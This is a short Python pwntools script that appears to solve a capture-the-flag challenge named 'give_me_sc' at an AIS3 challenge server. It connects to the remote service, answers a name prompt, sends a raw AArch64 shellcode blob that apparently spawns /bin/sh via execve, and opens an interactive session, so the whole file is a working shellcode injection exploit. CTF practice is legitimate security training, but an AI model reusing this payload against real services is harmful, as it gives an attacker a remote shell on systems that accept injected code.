#!/usr/bin/python3
# -*- coding: UTF-8 -*-
from pwn import *

context.arch = 'aarch64'

# p = process(['./share/give_me_sc'])
p = remote('chals1.ais3.org', 15566)

pause()

p.sendlineafter(b"What's your name:\n", b"123")
p.sendlineafter(b"Give me shellcode:", b"\xe1\x45\x8c\xd2\x21\xcd\xad\xf2\xe1\x65\xce\xf2\x01\x0d\xe0\xf2\xe1\x8f\x1f\xf8\xe1\x03\x1f\xaa\xe2\x03\x1f\xaa\xe0\x63\x21\x8b\xa8\x1b\x80\xd2\xe1\x66\x02\xd4")


p.interactive()
p.close()